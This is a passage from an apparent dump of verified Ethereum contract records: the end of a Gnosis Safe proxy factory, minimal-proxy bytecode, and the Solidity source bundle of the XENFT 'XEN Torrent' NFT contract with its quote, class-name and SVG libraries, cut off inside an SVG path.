if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,503,081 |
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|
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|
5e05f02c1e0ada6eece8dca05b2c3fb551a8da2b
|
0a252663dbcc0b073063d6420a40319e438cfa59
|
f8cbd5a665cdf84573b2ae3dad75a9d3e5458bb8
|
3d602d80600a3d3981f3363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"/contracts/XENFT.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC2981.sol\";\nimport \"@openzeppelin/contracts/utils/Base64.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"@faircrypto/xen-crypto/contracts/XENCrypto.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol\";\nimport \"operator-filter-registry/src/DefaultOperatorFilterer.sol\";\nimport \"./libs/ERC2771Context.sol\";\nimport \"./interfaces/IERC2771.sol\";\nimport \"./interfaces/IXENTorrent.sol\";\nimport \"./interfaces/IXENProxying.sol\";\nimport \"./libs/MintInfo.sol\";\nimport \"./libs/Metadata.sol\";\nimport \"./libs/Array.sol\";\n\n/*\n\n \\\\ // ||||||||||| |\\ || A CRYPTOCURRENCY FOR THE MASSES\n \\\\ // || |\\\\ ||\n \\\\ // || ||\\\\ || PRINCIPLES OF XEN:\n \\\\// || || \\\\ || - No pre-mint; starts with zero supply\n XX |||||||| || \\\\ || - No admin keys\n //\\\\ || || \\\\ || - Immutable contract\n // \\\\ || || \\\\||\n // \\\\ || || \\\\|\n // \\\\ ||||||||||| || \\| Copyright (C) FairCrypto Foundation 2022\n\n\n XENFT XEN Torrent props:\n - count: number of VMUs\n - mintInfo: (term, maturityTs, cRank start, AMP, EAA, apex, limited, group, redeemed)\n */\ncontract XENTorrent is\n DefaultOperatorFilterer, // required to support OpenSea royalties\n IXENTorrent,\n IXENProxying,\n IBurnableToken,\n IBurnRedeemable,\n ERC2771Context, // required to support meta transactions\n IERC2981, // required to support NFT royalties\n ERC721(\"XEN Torrent\", \"XENT\")\n{\n // HELPER LIBRARIES\n\n using Strings for uint256;\n using MintInfo for uint256;\n using Array for uint256[];\n\n // PUBLIC CONSTANTS\n\n // XENFT common business logic\n uint256 public constant BLACKOUT_TERM = 7 * 24 * 3600; /* 7 days in sec */\n\n // XENFT categories' params\n uint256 public constant COMMON_CATEGORY_COUNTER = 10_001;\n uint256 public constant SPECIAL_CATEGORIES_VMU_THRESHOLD = 99;\n uint256 public constant LIMITED_CATEGORY_TIME_THRESHOLD = 3_600 * 24 * 365;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n uint256 public constant ROYALTY_BP = 250;\n\n // PUBLIC MUTABLE STATE\n\n // increasing counters for NFT tokenIds, also used as salt for proxies' spinning\n uint256 public tokenIdCounter = COMMON_CATEGORY_COUNTER;\n\n // Indexing of params by categories and classes:\n // 0: Collector\n // 1: Limited\n // 2: Rare\n // 3: Epic\n // 4: Legendary\n // 5: Exotic\n // 6: Xunicorn\n // [0, B1, B2, B3, B4, B5, B6]\n uint256[] public specialClassesBurnRates;\n // [0, 0, R1, R2, R3, R4, R5]\n uint256[] public specialClassesTokenLimits;\n // [0, 0, 0 + 1, R1+1, R2+1, R3+1, R4+1]\n uint256[] public specialClassesCounters;\n\n // mapping: NFT tokenId => count of Virtual Mining Units\n mapping(uint256 => uint256) public vmuCount;\n // mapping: NFT tokenId => burned XEN\n mapping(uint256 => uint256) public xenBurned;\n // mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n // MintInfo encoded as:\n // term (uint16)\n // | maturityTs (uint64)\n // | rank (uint128)\n // | amp (uint16)\n // | eaa (uint16)\n // | class (uint8):\n // [7] isApex\n // [6] isLimited\n // [0-5] powerGroupIdx\n // | redeemed (uint8)\n mapping(uint256 => uint256) public mintInfo;\n\n // PUBLIC IMMUTABLE STATE\n\n // pointer to XEN Crypto contract\n XENCrypto public immutable xenCrypto;\n // genesisTs for the contract\n uint256 public immutable genesisTs;\n // start of operations block number\n uint256 public immutable startBlockNumber;\n\n // PRIVATE STATE\n\n // original contract marking to distinguish from proxy copies\n address private immutable _original;\n // original deployer address to be used for setting trusted forwarder\n address private immutable _deployer;\n // address to be used for royalties' tracking\n address private immutable _royaltyReceiver;\n\n // reentrancy guard constants and state\n // using non-zero constants to save gas avoiding repeated initialization\n uint256 private constant _NOT_USED = 2**256 - 1; // 0xFF..FF\n uint256 private constant _USED = _NOT_USED - 1; // 0xFF..FE\n // used as both\n // - reentrancy guard (_NOT_USED > _USED > _NOT_USED)\n // - for keeping state while awaiting for OnTokenBurned callback (_NOT_USED > tokenId > _NOT_USED)\n uint256 private _tokenId;\n\n // mapping Address => tokenId[]\n mapping(address => uint256[]) private _ownedTokens;\n\n /**\n @dev Constructor. Creates XEN Torrent contract, setting immutable parameters\n */\n constructor(\n address xenCrypto_,\n uint256[] memory burnRates_,\n uint256[] memory tokenLimits_,\n uint256 startBlockNumber_,\n address forwarder_,\n address royaltyReceiver_\n ) ERC2771Context(forwarder_) {\n require(xenCrypto_ != address(0), \"bad address\");\n require(burnRates_.length == tokenLimits_.length && burnRates_.length > 0, \"params mismatch\");\n _tokenId = _NOT_USED;\n _original = address(this);\n _deployer = msg.sender;\n _royaltyReceiver = royaltyReceiver_ == address(0) ? msg.sender : royaltyReceiver_;\n startBlockNumber = startBlockNumber_;\n genesisTs = block.timestamp;\n xenCrypto = XENCrypto(xenCrypto_);\n specialClassesBurnRates = burnRates_;\n specialClassesTokenLimits = tokenLimits_;\n specialClassesCounters = new uint256[](tokenLimits_.length);\n for (uint256 i = 2; i < specialClassesBurnRates.length - 1; i++) {\n specialClassesCounters[i] = specialClassesTokenLimits[i + 1] + 1;\n }\n specialClassesCounters[specialClassesBurnRates.length - 1] = 1;\n }\n\n /**\n @dev Call Reentrancy Guard\n */\n modifier nonReentrant() {\n require(_tokenId == _NOT_USED, \"XENFT: Reentrancy detected\");\n _tokenId = _USED;\n _;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev Start of Operations Guard\n */\n modifier notBeforeStart() {\n require(block.number > startBlockNumber, \"XENFT: Not active yet\");\n _;\n }\n\n // INTERFACES & STANDARDS\n // IERC165 IMPLEMENTATION\n\n /**\n @dev confirms support for IERC-165, IERC-721, IERC2981, IERC2771 and IBurnRedeemable interfaces\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {\n return\n interfaceId == type(IBurnRedeemable).interfaceId ||\n interfaceId == type(IERC2981).interfaceId ||\n interfaceId == type(IERC2771).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n // ERC2771 IMPLEMENTATION\n\n /**\n @dev use ERC2771Context implementation of _msgSender()\n */\n function _msgSender() internal view virtual override(Context, ERC2771Context) returns (address) {\n return ERC2771Context._msgSender();\n }\n\n /**\n @dev use ERC2771Context implementation of _msgData()\n */\n function _msgData() internal view virtual override(Context, ERC2771Context) returns (bytes calldata) {\n return ERC2771Context._msgData();\n }\n\n // OWNABLE IMPLEMENTATION\n\n /**\n @dev public getter to check for deployer / owner (Opensea, etc.)\n */\n function owner() external view returns (address) {\n return _deployer;\n }\n\n // ERC-721 METADATA IMPLEMENTATION\n /**\n @dev compliance with ERC-721 standard (NFT); returns NFT metadata, including SVG-encoded image\n */\n function tokenURI(uint256 tokenId) public view override returns (string memory) {\n uint256 count = vmuCount[tokenId];\n uint256 info = mintInfo[tokenId];\n uint256 burned = xenBurned[tokenId];\n require(count > 0);\n bytes memory dataURI = abi.encodePacked(\n \"{\",\n '\"name\": \"XEN Torrent #',\n tokenId.toString(),\n '\",',\n '\"description\": \"XENFT: XEN Crypto Minting Torrent\",',\n '\"image\": \"',\n \"data:image/svg+xml;base64,\",\n Base64.encode(Metadata.svgData(tokenId, count, info, address(xenCrypto), burned)),\n '\",',\n '\"attributes\": ',\n Metadata.attributes(count, burned, info),\n \"}\"\n );\n return string(abi.encodePacked(\"data:application/json;base64,\", Base64.encode(dataURI)));\n }\n\n // IMPLEMENTATION OF XENProxying INTERFACE\n // FUNCTIONS IN PROXY COPY CONTRACTS (VMUs), CALLING ORIGINAL XEN CRYPTO CONTRACT\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimRank(term)\n */\n function callClaimRank(uint256 term) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimRank(uint256)\", term);\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimMintRewardAndShare()\n */\n function callClaimMintReward(address to) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimMintRewardAndShare(address,uint256)\", to, uint256(100));\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => destroys the proxy contract\n */\n function powerDown() external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n selfdestruct(payable(address(0)));\n }\n\n // OVERRIDING OF ERC-721 IMPLEMENTATION\n // ENFORCEMENT OF TRANSFER BLACKOUT PERIOD\n\n /**\n @dev overrides OZ ERC-721 before transfer hook to check if there's no blackout period\n */\n function _beforeTokenTransfer(\n address from,\n address,\n uint256 tokenId\n ) internal virtual override {\n if (from != address(0)) {\n uint256 maturityTs = mintInfo[tokenId].getMaturityTs();\n uint256 delta = maturityTs > block.timestamp ? maturityTs - block.timestamp : block.timestamp - maturityTs;\n require(delta > BLACKOUT_TERM, \"XENFT: transfer prohibited in blackout period\");\n }\n }\n\n /**\n @dev overrides OZ ERC-721 after transfer hook to allow token enumeration for owner\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual override {\n _ownedTokens[from].removeItem(tokenId);\n _ownedTokens[to].addItem(tokenId);\n }\n\n // IBurnRedeemable IMPLEMENTATION\n\n /**\n @dev implements IBurnRedeemable interface for burning XEN and completing Bulk Mint for limited series\n */\n function onTokenBurned(address user, uint256 burned) external {\n require(_tokenId != _NOT_USED, \"XENFT: illegal callback state\");\n require(msg.sender == address(xenCrypto), \"XENFT: illegal callback caller\");\n _ownedTokens[user].addItem(_tokenId);\n xenBurned[_tokenId] = burned;\n _safeMint(user, _tokenId);\n emit StartTorrent(user, vmuCount[_tokenId], mintInfo[_tokenId].getTerm());\n _tokenId = _NOT_USED;\n }\n\n // IBurnableToken IMPLEMENTATION\n\n /**\n @dev burns XENTorrent XENFT which can be used by connected contracts services\n */\n function burn(address user, uint256 tokenId) public notBeforeStart nonReentrant {\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"XENFT burn: not a supported contract\"\n );\n require(user != address(0), \"XENFT burn: illegal owner address\");\n require(tokenId > 0, \"XENFT burn: illegal tokenId\");\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"XENFT burn: not an approved operator\");\n require(ownerOf(tokenId) == user, \"XENFT burn: user is not tokenId owner\");\n _ownedTokens[user].removeItem(tokenId);\n _burn(tokenId);\n IBurnRedeemable(_msgSender()).onTokenBurned(user, tokenId);\n }\n\n // OVERRIDING ERC-721 IMPLEMENTATION TO ALLOW OPENSEA ROYALTIES ENFORCEMENT PROTOCOL\n\n /**\n @dev implements `setApprovalForAll` with additional approved Operator checking\n */\n function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {\n super.setApprovalForAll(operator, approved);\n }\n\n /**\n @dev implements `approve` with additional approved Operator checking\n */\n function approve(address operator, uint256 tokenId) public override onlyAllowedOperatorApproval(operator) {\n super.approve(operator, tokenId);\n }\n\n /**\n @dev implements `transferFrom` with additional approved Operator checking\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.transferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId, data);\n }\n\n // SUPPORT FOR ERC2771 META-TRANSACTIONS\n\n /**\n @dev Implements setting a `Trusted Forwarder` for meta-txs. Settable only once\n */\n function addForwarder(address trustedForwarder) external {\n require(msg.sender == _deployer, \"XENFT: not an deployer\");\n require(_trustedForwarder == address(0), \"XENFT: Forwarder is already set\");\n _trustedForwarder = trustedForwarder;\n }\n\n // SUPPORT FOR ERC2981 ROYALTY INFO\n\n /**\n @dev Implements getting Royalty Info by supported operators. ROYALTY_BP is expressed in basis points\n */\n function royaltyInfo(uint256, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount) {\n receiver = _royaltyReceiver;\n royaltyAmount = (salePrice * ROYALTY_BP) / 10_000;\n }\n\n // XEN TORRENT PRIVATE / INTERNAL HELPERS\n\n /**\n @dev Sets specified XENFT as redeemed\n */\n function _setRedeemed(uint256 tokenId) private {\n mintInfo[tokenId] = mintInfo[tokenId] | uint256(1);\n }\n\n /**\n @dev Determines power group index for Collector Category\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev calculates Collector Class index\n */\n function _classIdx(uint256 count, uint256 term) private pure returns (uint256 index) {\n if (_powerGroup(count, term) > 7) return 7;\n return _powerGroup(count, term);\n }\n\n /**\n @dev internal helper to determine special class tier based on XEN to be burned\n */\n function _specialTier(uint256 burning) private view returns (uint256) {\n for (uint256 i = specialClassesBurnRates.length - 1; i > 0; i--) {\n if (specialClassesBurnRates[i] == 0) {\n return 0;\n }\n if (burning > specialClassesBurnRates[i] - 1) {\n return i;\n }\n }\n return 0;\n }\n\n /**\n @dev internal helper to collect params and encode MintInfo\n */\n function _mintInfo(\n address proxy,\n uint256 count,\n uint256 term,\n uint256 burning,\n uint256 tokenId\n ) private view returns (uint256) {\n bool apex = isApex(tokenId);\n uint256 _class = _classIdx(count, term);\n if (apex) _class = uint8(7 + _specialTier(burning)) | 0x80; // Apex Class\n if (burning > 0 && !apex) _class = uint8(8) | 0x40; // Limited Class\n (, , uint256 maturityTs, uint256 rank, uint256 amp, uint256 eaa) = xenCrypto.userMints(proxy);\n return MintInfo.encodeMintInfo(term, maturityTs, rank, amp, eaa, _class, false);\n }\n\n /**\n @dev internal torrent interface. initiates Bulk Mint (Torrent) Operation\n */\n function _bulkClaimRank(\n uint256 count,\n uint256 term,\n uint256 tokenId,\n uint256 burning\n ) private {\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n bytes memory callData = abi.encodeWithSignature(\"callClaimRank(uint256)\", term);\n address proxy;\n bool succeeded;\n for (uint256 i = 1; i < count + 1; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n assembly {\n proxy := create2(0, add(bytecode, 0x20), mload(bytecode), salt)\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rank\");\n if (i == 1) {\n mintInfo[tokenId] = _mintInfo(proxy, count, term, burning, tokenId);\n }\n }\n vmuCount[tokenId] = count;\n }\n\n /**\n @dev internal helper to claim tokenId (limited / ordinary)\n */\n function _getTokenId(uint256 count, uint256 burning) private returns (uint256) {\n // burn possibility has already been verified\n uint256 tier = _specialTier(burning);\n if (tier == 1) {\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(block.timestamp < genesisTs + LIMITED_CATEGORY_TIME_THRESHOLD, \"XENFT: limited time expired\");\n return tokenIdCounter++;\n }\n if (tier > 1) {\n require(_msgSender() == tx.origin, \"XENFT: only EOA allowed for this category\");\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(specialClassesCounters[tier] < specialClassesTokenLimits[tier] + 1, \"XENFT: class sold out\");\n return specialClassesCounters[tier]++;\n }\n return tokenIdCounter++;\n }\n\n // PUBLIC GETTERS\n\n /**\n @dev public getter for tokens owned by address\n */\n function ownedTokens() external view returns (uint256[] memory) {\n return _ownedTokens[_msgSender()];\n }\n\n /**\n @dev determines if tokenId corresponds to Limited Category\n */\n function isApex(uint256 tokenId) public pure returns (bool apex) {\n apex = tokenId < COMMON_CATEGORY_COUNTER;\n }\n\n // PUBLIC TRANSACTIONAL INTERFACE\n\n /**\n @dev public XEN Torrent interface\n initiates Bulk Mint (Torrent) Operation (Common Category)\n */\n function bulkClaimRank(uint256 count, uint256 term) public notBeforeStart returns (uint256 tokenId) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n _tokenId = _getTokenId(count, 0);\n _bulkClaimRank(count, term, _tokenId, 0);\n _ownedTokens[_msgSender()].addItem(_tokenId);\n _safeMint(_msgSender(), _tokenId);\n emit StartTorrent(_msgSender(), count, term);\n tokenId = _tokenId;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev public torrent interface. initiates Bulk Mint (Torrent) Operation (Special Category)\n */\n function bulkClaimRankLimited(\n uint256 count,\n uint256 term,\n uint256 burning\n ) public notBeforeStart returns (uint256) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n require(burning > specialClassesBurnRates[1] - 1, \"XENFT: not enough burn amount\");\n uint256 balance = IERC20(xenCrypto).balanceOf(_msgSender());\n require(balance > burning - 1, \"XENFT: not enough XEN balance\");\n uint256 approved = IERC20(xenCrypto).allowance(_msgSender(), address(this));\n require(approved > burning - 1, \"XENFT: not enough XEN balance approved for burn\");\n _tokenId = _getTokenId(count, burning);\n _bulkClaimRank(count, term, _tokenId, burning);\n IBurnableToken(xenCrypto).burn(_msgSender(), burning);\n return _tokenId;\n }\n\n /**\n @dev public torrent interface. initiates Mint Reward claim and collection and terminates Torrent Operation\n */\n function bulkClaimMintReward(uint256 tokenId, address to) external notBeforeStart nonReentrant {\n require(ownerOf(tokenId) == _msgSender(), \"XENFT: Incorrect owner\");\n require(to != address(0), \"XENFT: Illegal address\");\n require(!mintInfo[tokenId].getRedeemed(), \"XENFT: Already redeemed\");\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n uint256 end = vmuCount[tokenId] + 1;\n bytes memory callData = abi.encodeWithSignature(\"callClaimMintReward(address)\", to);\n bytes memory callData1 = abi.encodeWithSignature(\"powerDown()\");\n for (uint256 i = 1; i < end; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n bool succeeded;\n bytes32 hash = keccak256(abi.encodePacked(hex\"ff\", address(this), salt, keccak256(bytecode)));\n address proxy = address(uint160(uint256(hash)));\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rewards\");\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData1, 0x20), mload(callData1), 0, 0)\n }\n require(succeeded, \"XENFT: Error while powering down\");\n }\n _setRedeemed(tokenId);\n emit EndTorrent(_msgSender(), tokenId, to);\n }\n}\n"
},
"/contracts/libs/StringData.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n/*\n Extra XEN quotes:\n\n \"When you realize nothing is lacking, the whole world belongs to you.\" - Lao Tzu\n \"Each morning, we are born again. What we do today is what matters most.\" - Buddha\n \"If you are depressed, you are living in the past.\" - Lao Tzu\n \"In true dialogue, both sides are willing to change.\" - Thich Nhat Hanh\n \"The spirit of the individual is determined by his domination thought habits.\" - Bruce Lee\n \"Be the path. Do not seek it.\" - Yara Tschallener\n \"Bow to no one but your own divinity.\" - Satya\n \"With insight there is hope for awareness, and with awareness there can be change.\" - Tom Kenyon\n \"The opposite of depression isn't happiness, it is purpose.\" - Derek Sivers\n \"If you can't, you must.\" - Tony Robbins\n “When you are grateful, fear disappears and abundance appears.” - Lao Tzu\n “It is in your moments of decision that your destiny is shaped.” - Tony Robbins\n \"Surmounting difficulty is the crucible that forms character.\" - Tony Robbins\n \"Three things cannot be long hidden: the sun, the moon, and the truth.\" - Buddha\n \"What you are is what you have been. What you’ll be is what you do now.\" - Buddha\n \"The best way to take care of our future is to take care of the present moment.\" - Thich Nhat Hanh\n*/\n\n/**\n @dev a library to supply a XEN string data based on params\n*/\nlibrary StringData {\n uint256 public constant QUOTES_COUNT = 12;\n uint256 public constant QUOTE_LENGTH = 66;\n bytes public constant QUOTES =\n bytes(\n '\"If you realize you have enough, you are truly rich.\" - Lao Tzu '\n '\"The real meditation is how you live your life.\" - Jon Kabat-Zinn '\n '\"To know that you do not know is the best.\" - Lao Tzu '\n '\"An over-sharpened sword cannot last long.\" - Lao Tzu '\n '\"When you accept yourself, the whole world accepts you.\" - Lao Tzu'\n '\"Music in the soul can be heard by the universe.\" - Lao Tzu '\n '\"As soon as you have made a thought, laugh at it.\" - Lao Tzu '\n '\"The further one goes, the less one knows.\" - Lao Tzu '\n '\"Stop thinking, and end your problems.\" - Lao Tzu '\n '\"Reliability is the foundation of commitment.\" - Unknown '\n '\"Your past does not equal your future.\" - Tony Robbins '\n '\"Be the path. Do not seek it.\" - Yara Tschallener '\n );\n uint256 public constant CLASSES_COUNT = 14;\n uint256 public constant CLASSES_NAME_LENGTH = 10;\n bytes public constant CLASSES =\n bytes(\n \"Ruby \"\n \"Opal \"\n \"Topaz \"\n \"Emerald \"\n \"Aquamarine\"\n \"Sapphire \"\n \"Amethyst \"\n \"Xenturion \"\n \"Limited \"\n \"Rare \"\n \"Epic \"\n \"Legendary \"\n \"Exotic \"\n \"Xunicorn \"\n );\n\n /**\n @dev Solidity doesn't yet support slicing of byte arrays anywhere outside of calldata,\n therefore we make a hack by supplying our local constant packed string array as calldata\n */\n function getQuote(bytes calldata quotes, uint256 index) external pure returns (string memory) {\n if (index > QUOTES_COUNT - 1) return string(quotes[0:QUOTE_LENGTH]);\n return string(quotes[index * QUOTE_LENGTH:(index + 1) * QUOTE_LENGTH]);\n }\n\n function getClassName(bytes calldata names, uint256 index) external pure returns (string memory) {\n if (index < CLASSES_COUNT) return string(names[index * CLASSES_NAME_LENGTH:(index + 1) * CLASSES_NAME_LENGTH]);\n return \"\";\n }\n}\n"
},
"/contracts/libs/SVG.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./DateTime.sol\";\nimport \"./StringData.sol\";\nimport \"./FormattedStrings.sol\";\n\n/*\n @dev Library to create SVG image for XENFT metadata\n @dependency depends on DataTime.sol and StringData.sol libraries\n */\nlibrary SVG {\n // Type to encode all data params for SVG image generation\n struct SvgParams {\n string symbol;\n address xenAddress;\n uint256 tokenId;\n uint256 term;\n uint256 rank;\n uint256 count;\n uint256 maturityTs;\n uint256 amp;\n uint256 eaa;\n uint256 xenBurned;\n bool redeemed;\n string series;\n }\n\n // Type to encode SVG gradient stop color on HSL color scale\n struct Color {\n uint256 h;\n uint256 s;\n uint256 l;\n uint256 a;\n uint256 off;\n }\n\n // Type to encode SVG gradient\n struct Gradient {\n Color[] colors;\n uint256 id;\n uint256[4] coords;\n }\n\n using DateTime for uint256;\n using Strings for uint256;\n using FormattedStrings for uint256;\n using Strings for address;\n\n string private constant _STYLE =\n \"<style> \"\n \".base {fill: #ededed;font-family:Montserrat,arial,sans-serif;font-size:30px;font-weight:400;} \"\n \".series {text-transform: uppercase} \"\n \".logo {font-size:200px;font-weight:100;} \"\n \".meta {font-size:12px;} \"\n \".small {font-size:8px;} \"\n \".burn {font-weight:500;font-size:16px;} }\"\n \"</style>\";\n\n string private constant _COLLECTOR =\n \"<g>\"\n \"<path \"\n 'stroke=\"#ededed\" '\n 'fill=\"none\" '\n 'transform=\"translate(265,418)\" '\n 'd=\"m 0 0 L -20 -30 L -12.5 -38.5 l 6.5 7 L 0 -38.5 L 6.56 -31.32 L 12.5 -38.5 L 20 -30 L 0 0 L -7.345 -29.955 L 0 -38.5 L 7.67 -30.04 L 0 0 Z M 0 0 L -20.055 -29.955 l 7.555 -8.545 l 24.965 -0.015 L 20 -30 L -20.055 -29.955\"/>'\n \"</g>\";\n\n string private constant _LIMITED =\n \"<g> \"\n '<path fill=\"#ededed\" '\n 'transform=\"scale(0.4) translate(600, 940)\" '\n 'd=\"M66,38.09q.06.9.18,1.71v.05c1,7.08,4.63,11.39,9.59,13.81,5.18,2.53,11.83,3.09,18.48,2.61,1.49-.11,3-.27,4.39-.47l1.59-.2c4.78-.61,11.47-1.48,13.35-5.06,1.16-2.2,1-5,0-8a38.85,38.85,0,0,0-6.89-11.73A32.24,32.24,0,0,0,95,21.46,21.2,21.2,0,0,0,82.3,20a23.53,23.53,0,0,0-12.75,7,15.66,15.66,0,0,0-2.35,3.46h0a20.83,20.83,0,0,0-1,2.83l-.06.2,0,.12A12,12,0,0,0,66,37.9l0,.19Zm26.9-3.63a5.51,5.51,0,0,1,2.53-4.39,14.19,14.19,0,0,0-5.77-.59h-.16l.06.51a5.57,5.57,0,0,0,2.89,4.22,4.92,4.92,0,0,0,.45.24ZM88.62,28l.94-.09a13.8,13.8,0,0,1,8,1.43,7.88,7.88,0,0,1,3.92,6.19l0,.43a.78.78,0,0,1-.66.84A19.23,19.23,0,0,1,98,37a12.92,12.92,0,0,1-6.31-1.44A7.08,7.08,0,0,1,88,30.23a10.85,10.85,0,0,1-.1-1.44.8.8,0,0,1,.69-.78ZM14.15,10c-.06-5.86,3.44-8.49,8-9.49C26.26-.44,31.24.16,34.73.7A111.14,111.14,0,0,1,56.55,6.4a130.26,130.26,0,0,1,22,10.8,26.25,26.25,0,0,1,3-.78,24.72,24.72,0,0,1,14.83,1.69,36,36,0,0,1,13.09,10.42,42.42,42.42,0,0,1,7.54,12.92c1.25,3.81,1.45,7.6-.23,10.79-2.77,5.25-10.56,6.27-16.12,7l-1.23.16a54.53,54.53,0,0,1-2.81,12.06A108.62,108.62,0,0,1,91.3,84v25.29a9.67,9.67,0,0,1,9.25,10.49c0,.41,0,.81,0,1.18a1.84,1.84,0,0,1-1.84,1.81H86.12a8.8,8.8,0,0,1-5.1-1.56,10.82,10.82,0,0,1-3.35-4,2.13,2.13,0,0,1-.2-.46L73.53,103q-2.73,2.13-5.76,4.16c-1.2.8-2.43,1.59-3.69,2.35l.6.16a8.28,8.28,0,0,1,5.07,4,15.38,15.38,0,0,1,1.71,7.11V121a1.83,1.83,0,0,1-1.83,1.83h-53c-2.58.09-4.47-.52-5.75-1.73A6.49,6.49,0,0,1,9.11,116v-11.2a42.61,42.61,0,0,1-6.34-11A38.79,38.79,0,0,1,1.11,70.29,37,37,0,0,1,13.6,50.54l.1-.09a41.08,41.08,0,0,1,11-6.38c7.39-2.9,17.93-2.77,26-2.68,5.21.06,9.34.11,10.19-.49a4.8,4.8,0,0,0,1-.91,5.11,5.11,0,0,0,.56-.84c0-.26,0-.52-.07-.78a16,16,0,0,1-.06-4.2,98.51,98.51,0,0,0-18.76-3.68c-7.48-.83-15.44-1.19-23.47-1.41l-1.3